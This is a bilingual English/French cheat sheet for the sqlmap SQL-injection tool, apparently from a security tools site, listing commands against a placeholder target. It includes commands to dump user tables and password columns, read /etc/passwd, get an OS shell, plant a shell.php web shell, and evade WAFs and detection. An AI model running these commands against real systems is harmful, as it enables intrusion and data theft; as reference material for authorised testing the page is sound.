retour aux outils back to tools Ducklings

sqlmap

Détection et exploitation automatisées d'injections SQL. Supporte tous les principaux SGBD avec des techniques blind, time-based, union et error-based. Automated SQL injection detection and exploitation. Supports all major database backends with blind, time-based, union, and error-based techniques.

↗ https://sqlmap.org

Overview

sqlmap automates the detection and exploitation of SQL injection vulnerabilities. It handles GET/POST parameters, cookies, headers, and can dump databases, read/write files, and achieve OS command execution depending on the backend and privileges.

Basic Detection

Test a GET parameter

sqlmap -u "https://target.com/item?id=1"

Test a POST parameter

sqlmap -u "https://target.com/login" --data="username=admin&password=test" -p username

Test with a captured Burp request file

sqlmap -r request.txt

Test a specific parameter

sqlmap -u "https://target.com/item?id=1&cat=2" -p id

With cookie injection

sqlmap -u "https://target.com/profile" --cookie="session=abc123; uid=1" -p uid

Database Enumeration

List databases

sqlmap -u "https://target.com/item?id=1" --dbs

List tables in a database

sqlmap -u "https://target.com/item?id=1" -D dbname --tables

List columns in a table

sqlmap -u "https://target.com/item?id=1" -D dbname -T users --columns

Dump a table

sqlmap -u "https://target.com/item?id=1" -D dbname -T users --dump

Dump specific columns

sqlmap -u "https://target.com/item?id=1" -D dbname -T users -C username,password --dump

Dump everything (careful — noisy)

sqlmap -u "https://target.com/item?id=1" --dump-all

Authentication & Session

HTTP auth

sqlmap -u "https://target.com/item?id=1" --auth-type=basic --auth-cred="admin:password"

Headers (e.g. JWT / API key)

sqlmap -u "https://target.com/api/item?id=1" -H "Authorization: Bearer eyJ..."

Maintain session across requests

sqlmap -u "https://target.com/item?id=1" --cookie="PHPSESSID=abc123"

Advanced Techniques

Force technique (B=boolean, E=error, U=union, S=stacked, T=time, Q=inline)

sqlmap -u "https://target.com/item?id=1" --technique=BEUST

Level and risk (default 1,1 — increase carefully)

sqlmap -u "https://target.com/item?id=1" --level=5 --risk=3
# OS command execution (requires DBA privs)
sqlmap -u "https://target.com/item?id=1" --os-cmd="whoami"
sqlmap -u "https://target.com/item?id=1" --os-shell

# Read/write files
sqlmap -u "https://target.com/item?id=1" --file-read="/etc/passwd"
sqlmap -u "https://target.com/item?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# Tamper scripts (bypass WAF/filters)
sqlmap -u "https://target.com/item?id=1" --tamper=space2comment,randomcase
sqlmap -u "https://target.com/item?id=1" --tamper=between,charencode

Proxy & Evasion

Route through Burp proxy

sqlmap -u "https://target.com/item?id=1" --proxy="http://127.0.0.1:8080"

Random user-agent

sqlmap -u "https://target.com/item?id=1" --random-agent

Add delay between requests

sqlmap -u "https://target.com/item?id=1" --delay=1

Tips

  • Use -r request.txt from Burp — saves crafting curl flags manually
  • Always start with --batch to use defaults non-interactively
  • --forms automatically finds and tests forms on a page
  • --crawl=2 can discover injection points automatically
  • --output-dir saves session files for resuming
Help / Man page 
sqlmap [options]

Target:
  -u URL          Target URL
  -r file         Load HTTP request from file
  --data=DATA     POST data string
  -p param        Parameter to test
  --cookie=COOKIE HTTP Cookie header

Enumeration:
  --dbs           Enumerate databases
  --tables        Enumerate tables (-D required)
  --columns       Enumerate columns (-D -T required)
  --dump          Dump table entries
  --dump-all      Dump all databases
  -D DB           DBMS database to enumerate
  -T TBL          DBMS table to enumerate
  -C COL          DBMS column to enumerate

Techniques:
  --technique=T   B(oolean), E(rror), U(nion), S(tacked), T(ime), Q(inline)
  --level=1-5     Test level (default: 1)
  --risk=1-3      Risk level (default: 1)

Tamper:
  --tamper=TAMPER Comma-separated tamper script names

OS access:
  --os-cmd=CMD    Execute OS command
  --os-shell      Interactive OS shell
  --file-read     Read file from filesystem
  --file-write    Write file to filesystem

Misc:
  --batch         Never ask for user input
  --random-agent  Use random HTTP User-Agent
  --proxy=PROXY   Use proxy
  --delay=DELAY   Seconds between requests
  --threads=N     Max concurrent HTTP requests

Vue d’ensemble

sqlmap automatise la détection et l’exploitation des vulnérabilités d’injection SQL. Il gère les paramètres GET/POST, les cookies, les headers, et peut dumper des bases de données, lire/écrire des fichiers, et obtenir l’exécution de commandes OS selon le backend et les privilèges.

Détection de base

# Tester un paramètre GET
sqlmap -u "https://target.com/item?id=1"

# Tester un paramètre POST
sqlmap -u "https://target.com/login" --data="username=admin&password=test" -p username

# Tester avec un fichier de requête capturé via Burp
sqlmap -r request.txt

# Tester un paramètre spécifique
sqlmap -u "https://target.com/item?id=1&cat=2" -p id

# Avec injection par cookie
sqlmap -u "https://target.com/profile" --cookie="session=abc123; uid=1" -p uid

Énumération de base de données

# Lister les bases de données
sqlmap -u "https://target.com/item?id=1" --dbs

# Lister les tables d'une base
sqlmap -u "https://target.com/item?id=1" -D dbname --tables

# Lister les colonnes d'une table
sqlmap -u "https://target.com/item?id=1" -D dbname -T users --columns

# Dumper une table
sqlmap -u "https://target.com/item?id=1" -D dbname -T users --dump

# Dumper des colonnes spécifiques
sqlmap -u "https://target.com/item?id=1" -D dbname -T users -C username,password --dump

# Tout dumper (attention : bruyant)
sqlmap -u "https://target.com/item?id=1" --dump-all

Authentification et session

# Authentification HTTP
sqlmap -u "https://target.com/item?id=1" --auth-type=basic --auth-cred="admin:password"

# Headers (ex. JWT / clé API)
sqlmap -u "https://target.com/api/item?id=1" -H "Authorization: Bearer eyJ..."

# Maintenir la session entre les requêtes
sqlmap -u "https://target.com/item?id=1" --cookie="PHPSESSID=abc123"

Techniques avancées

# Forcer une technique (B=boolean, E=error, U=union, S=stacked, T=time, Q=inline)
sqlmap -u "https://target.com/item?id=1" --technique=BEUST

# Niveau et risque (par défaut 1,1 : augmenter avec prudence)
sqlmap -u "https://target.com/item?id=1" --level=5 --risk=3

# Exécution de commandes OS (nécessite des privilèges DBA)
sqlmap -u "https://target.com/item?id=1" --os-cmd="whoami"
sqlmap -u "https://target.com/item?id=1" --os-shell

# Lire/écrire des fichiers
sqlmap -u "https://target.com/item?id=1" --file-read="/etc/passwd"
sqlmap -u "https://target.com/item?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# Scripts tamper (contourner WAF/filtres)
sqlmap -u "https://target.com/item?id=1" --tamper=space2comment,randomcase
sqlmap -u "https://target.com/item?id=1" --tamper=between,charencode

Proxy et évasion

# Router via un proxy Burp
sqlmap -u "https://target.com/item?id=1" --proxy="http://127.0.0.1:8080"

# User-agent aléatoire
sqlmap -u "https://target.com/item?id=1" --random-agent

# Ajouter un délai entre les requêtes
sqlmap -u "https://target.com/item?id=1" --delay=1

Conseils

  • Utiliser -r request.txt depuis Burp : évite de reconstruire les flags curl à la main
  • Toujours commencer avec --batch pour utiliser les valeurs par défaut sans interaction
  • --forms trouve et teste automatiquement les formulaires d’une page
  • --crawl=2 peut découvrir automatiquement des points d’injection
  • --output-dir sauvegarde les fichiers de session pour reprendre plus tard
Aide / Page de manuel 
sqlmap [options]

Target:
  -u URL          Target URL
  -r file         Load HTTP request from file
  --data=DATA     POST data string
  -p param        Parameter to test
  --cookie=COOKIE HTTP Cookie header

Enumeration:
  --dbs           Enumerate databases
  --tables        Enumerate tables (-D required)
  --columns       Enumerate columns (-D -T required)
  --dump          Dump table entries
  --dump-all      Dump all databases
  -D DB           DBMS database to enumerate
  -T TBL          DBMS table to enumerate
  -C COL          DBMS column to enumerate

Techniques:
  --technique=T   B(oolean), E(rror), U(nion), S(tacked), T(ime), Q(inline)
  --level=1-5     Test level (default: 1)
  --risk=1-3      Risk level (default: 1)

Tamper:
  --tamper=TAMPER Comma-separated tamper script names

OS access:
  --os-cmd=CMD    Execute OS command
  --os-shell      Interactive OS shell
  --file-read     Read file from filesystem
  --file-write    Write file to filesystem

Misc:
  --batch         Never ask for user input
  --random-agent  Use random HTTP User-Agent
  --proxy=PROXY   Use proxy
  --delay=DELAY   Seconds between requests
  --threads=N     Max concurrent HTTP requests